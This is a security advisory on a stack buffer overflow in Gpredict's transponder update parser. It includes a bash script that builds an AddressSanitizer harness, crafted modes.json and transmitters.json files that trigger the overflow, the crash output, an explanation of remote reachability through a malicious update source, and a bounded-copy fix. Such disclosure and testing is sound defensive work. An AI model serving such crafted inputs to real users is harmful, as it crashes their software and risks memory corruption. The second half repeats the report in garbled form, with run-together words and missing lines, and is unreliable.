1. Summary
- Product: Gpredict
- Vulnerability type: Stack-based buffer overflow
- CWE: CWE-121
- Affected component: Transponder update parsing path (
trsp_update_files)
- Verified on code base:
2a57f14693e0af49235dc80c905f54a058fabc07 (current HEAD used for validation)
- Exploitability: Reliable crash (DoS) confirmed; remotely triggerable under specific conditions (see
section 5)
2. Vulnerability Description
In the transponder update workflow, Gpredict loads mode names from modes.json into an in-memory mode
table. Later, while processing transmitters.json, it resolves mode_id and copies the corresponding
mode name into a local stack buffer m_trsp.mode.
The destination buffer is 20 bytes, but the copy uses unbounded sprintf, so any mode name longer than
19 bytes causes a stack overflow.
Key code references:
3. Technical Data Flow
modes.json is parsed; name is copied into m_modes.name (up to 79 chars) and duplicated into
nmode->modname.
transmitters.json is parsed; mode_id is used to look up nmode.
sprintf(m_trsp.mode, "%s", nmode->modname) writes attacker-controlled data into a 20-byte stack
buffer without bounds checking.
4. Reproduction (ASan, minimal harness)
Prerequisites: development packages for glib-2.0, gtk+-3.0, libcurl; working pkg-config and
cc.
bash
cd /path/to/gpredict
set -euo pipefail
TMPDIR=$(mktemp -d /tmp/gpredict-vuln1-XXXXXX)
cat > "$TMPDIR/harness.c" <<'EOF'
#include <glib.h>
void trsp_update_files(gchar * input_file);
int main(void) {
trsp_update_files("/tmp/gpredict-vuln1-input/transmitters.json");
return 0;
}
EOF
mkdir -p /tmp/gpredict-vuln1-input
cat > /tmp/gpredict-vuln1-input/modes.json <<'EOF'
[{"id":1,"name":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}]
EOF
cat > /tmp/gpredict-vuln1-input/transmitters.json <<'EOF'
[{"description":"demo","norad_cat_id":12345,"uplink_low":1,"uplink_high":2,"downlink_low":3,"downlink_h
igh":4,"mode_id":1,"invert":0,"baud":0,"alive":1}]
EOF
mkdir -p /tmp/.config/Gpredict/trsp
cp /tmp/gpredict-vuln1-input/modes.json /tmp/.config/Gpredict/trsp/modes.json
cc -fsanitize=address -g -I. -Isrc \
-DPACKAGE_DATA_DIR='"/tmp"' -DPACKAGE_PIXMAPS_DIR='"/tmp"' \
-o "$TMPDIR/harness" \
"$TMPDIR/harness.c" src/trsp-update.c src/nxjson/nxjson.c src/gpredict-utils.c src/sat-log.c src/
compat.c src/sat-cfg.c src/strnatcmp.c \
$(pkg-config --cflags --libs glib-2.0 gtk+-3.0 libcurl)
HOME=/tmp "$TMPDIR/harness"
Observed result (excerpt):
ERROR: AddressSanitizer: stack-buffer-overflow
WRITE of size 65
#2 ... in trsp_update_files src/trsp-update.c:290
SUMMARY: AddressSanitizer: stack-buffer-overflow ... in __interceptor_vsprintf
5. Trigger Conditions and Remote Reachability
- Local trigger: any local attacker able to place crafted files in ~/.config/Gpredict/trsp/ can trigger
this.
- Remote trigger (conditional): when user initiates “Update transponder data”, Gpredict downloads modes
and transmitters from configured server and parses them.
Relevant references:
- Default transponder update source config: src/sat-cfg.c:228-src/sat-cfg.c:230
- Network fetch path: src/trsp-update.c:408, src/trsp-update.c:563
- Parsing entry after fetch: src/trsp-update.c:686
- UI action binding: src/menubar.c:901-src/menubar.c:903
Note: this is not an unauthenticated zero-click scenario; user action (or equivalent workflow call) is
required. Remote exploitation depends on control over update content (e.g., compromised upstream,
malicious mirror, or user-configured malicious endpoint).
6. Impact
- Confirmed: application crash / denial of service.
- Potential: memory corruption beyond DoS is theoretically possible; practical code execution was not
validated in this report.
7. Recommended Fix
- Replace unbounded write with bounded copy:
if (nmode != NULL)
g_strlcpy(m_trsp.mode, nmode->modname, sizeof(m_trsp.mode));
else
g_snprintf(m_trsp.mode, sizeof(m_trsp.mode), "%lli",
nx_json_get(json_obj, "mode_id")->int_value);
- Enforce strict maximum length for mode names during JSON parsing; reject oversized values and log
validation errors.
- Add regression tests for oversized mode names (must not crash).
- Add sanitizer-backed CI jobs (ASan/UBSan) for update parser paths.
8. Disclosure Notes
- This issue appears suitable for coordinated disclosure and CVE assignment.
- Suggested wording: “remote trigger under controlled update source + user update action”, rather than
implying guaranteed zero-click RCE.
1. Summary
trsp_update_files)2a57f14693e0af49235dc80c905f54a058fabc07(current HEAD used for validation)section 5)
2. Vulnerability Description
In the transponder update workflow, Gpredict loads mode names from
modes.jsoninto an in-memory modetable. Later, while processing
transmitters.json, it resolvesmode_idand copies the correspondingmode name into a local stack buffer
m_trsp.mode.The destination buffer is 20 bytes, but the copy uses unbounded
sprintf, so any mode name longer than19 bytes causes a stack overflow.
Key code references:
src/trsp-update.c:73src/trsp-update.c:205](/home/swift/gpredict/src/trsp-update.c:205),
src/trsp-update.c:221src/trsp-update.c:2903. Technical Data Flow
modes.jsonis parsed;nameis copied intom_modes.name(up to 79 chars) and duplicated intonmode->modname.transmitters.jsonis parsed;mode_idis used to look upnmode.sprintf(m_trsp.mode, "%s", nmode->modname)writes attacker-controlled data into a 20-byte stackbuffer without bounds checking.
4. Reproduction (ASan, minimal harness)
Prerequisites: development packages for
glib-2.0,gtk+-3.0,libcurl; workingpkg-configandcc.bash
TMPDIR=$(mktemp -d /tmp/gpredict-vuln1-XXXXXX)HOME=/tmp "$TMPDIR/harness"5. Trigger Conditions and Remote Reachability
this.
and transmitters from configured server and parses them.
Relevant references:
Note: this is not an unauthenticated zero-click scenario; user action (or equivalent workflow call) is
required. Remote exploitation depends on control over update content (e.g., compromised upstream,
malicious mirror, or user-configured malicious endpoint).
6. Impact
validated in this report.
7. Recommended Fix
validation errors.
8. Disclosure Notes
implying guaranteed zero-click RCE.